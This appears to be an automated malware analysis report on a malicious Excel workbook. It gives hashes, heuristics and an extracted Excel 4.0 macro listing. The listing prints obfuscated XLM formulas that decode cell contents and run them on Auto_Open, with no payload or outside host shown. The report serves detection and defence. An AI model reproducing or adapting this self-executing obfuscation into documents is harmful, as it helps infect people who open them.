Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fe969e49fe264f0d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:31 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 813cf14c2ebff51bd66424b44d22039d SHA-1: ae6b35470e1edf6af8dbc887676af06626ad4514 SHA-256: fe969e49fe264f0d903d20fab2d0f4f54ef7b27fbd0b8babf0f1c3553abfad33
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6391 bytes
SHA-256: 56add43eb793983d2746a6c30fe120e4a972f8a26f2003ddcc0a149a74710bf9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  IQE
' 0018     22 LABEL : Cell Value, String Constant - aDgsrlv len=0 
' 0018     24 LABEL : Cell Value, String Constant - AScqrSCxO len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E138 
' 0018     25 LABEL : Cell Value, String Constant - AZzQmTkZPN len=0 
' 0018     20 LABEL : Cell Value, String Constant - CdydR len=0 
' 0018     25 LABEL : Cell Value, String Constant - dnSUOGHBfK len=0 
' 0018     25 LABEL : Cell Value, String Constant - fqZmAozBjs len=0 
' 0018     26 LABEL : Cell Value, String Constant - gEgfQKaCFmz len=0 
' 0018     20 LABEL : Cell Value, String Constant - GgAww len=0 
' 0018     22 LABEL : Cell Value, String Constant - gYpndfs len=0 
' 0018     27 LABEL : Cell Value, String Constant - IcoAUsppJgvs len=0 
' 0018     24 LABEL : Cell Value, String Constant - nyXhjYbIe len=0 
' 0018     22 LABEL : Cell Value, String Constant - OdndYNX len=0 
' 0018     22 LABEL : Cell Value, String Constant - OiPuxtC len=0 
' 0018     27 LABEL : Cell Value, String Constant - PuMmgimNqXYX len=0 
' 0018     21 LABEL : Cell Value, String Constant - RewtiG len=0 
' 0018     25 LABEL : Cell Value, String Constant - UiZJZqDfiX len=0 
' 0018     21 LABEL : Cell Value, String Constant - wfbMay len=0 
' 0018     22 LABEL : Cell Value, String Constant - wnLccuB len=0 
' 0018     27 LABEL : Cell Value, String Constant - YkaZQMxxXlMX len=0 
' 0018     26 LABEL : Cell Value, String Constant - zfUpSJcryoR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  IQE,E45,"SET.NAME("gEgfQKaCFmz",VALUE("0"))",""
'  IQE,E50,"SET.NAME("nyXhjYbIe",gEgfQKaCFmz)",""
'  IQE,E53,"SET.NAME("OdndYNX",gEgfQKaCFmz)",""
'  IQE,E55,"SET.NAME("YkaZQMxxXlMX",COUNTA(gYpndfs))",""
'  IQE,E57,"SET.NAME("GgAww",COUNTA(fqZmAozBjs))",""
'  IQE,E62,[],""
'  IQE,E64,"SET.NAME("PuMmgimNqXYX","")",""
'  IQE,E67,"nyXhjYbIe",""
'  IQE,E69,"SET.NAME("CdydR",HLOOKUP("*",gYpndfs,nyXhjYbIe,FALSE))",""
'  IQE,E71,"wfbMay",""
'  IQE,E73,"SET.NAME("IcoAUsppJgvs",gEgfQKaCFmz)",""
'  IQE,E78,[],""
'  IQE,E81,"IcoAUsppJgvs",""
'  IQE,E85,"RewtiG",""
'  IQE,E88,"OiPuxtC",""
'  IQE,E93,"AZzQmTkZPN",""
'  IQE,E97,"SET.NAME("wnLccuB",VALUE(HLOOKUP("*",fqZmAozBjs,AZzQmTkZPN,FALSE)))",""
'  IQE,E101,"AScqrSCxO",""
'  IQE,E104,"PuMmgimNqXYX",""
'  IQE,E109,"OdndYNX",""
'  IQE,E113,NEXT(),""
'  IQE,E117,"dnSUOGHBfK",""
'  IQE,E121,"SET.NAME("f",INT(T(FORMULA(T(PuMmgimNqXYX)&"",""&T(dnSUOGHBfK)))))",""
'  IQE,E124,"UiZJZqDfiX",""
'  IQE,E129,NEXT(),""
'  IQE,E133,RETURN(),""
'  IQE,E162,"SET.NAME("aDgsrlv",E45)",""
'  IQE,E167,"gYpndfs",""
'  IQE,E170,"SET.NAME("fqZmAozBjs",R40C13)",""
'  IQE,E174,"SET.NAME("UiZJZqDfiX",180)",""
'  IQE,E177,"SET.NAME("zfUpSJcryoR",5)",""
'  IQE,E179,aDgsrlv(),""
'  IQE,E180,HALT(),""

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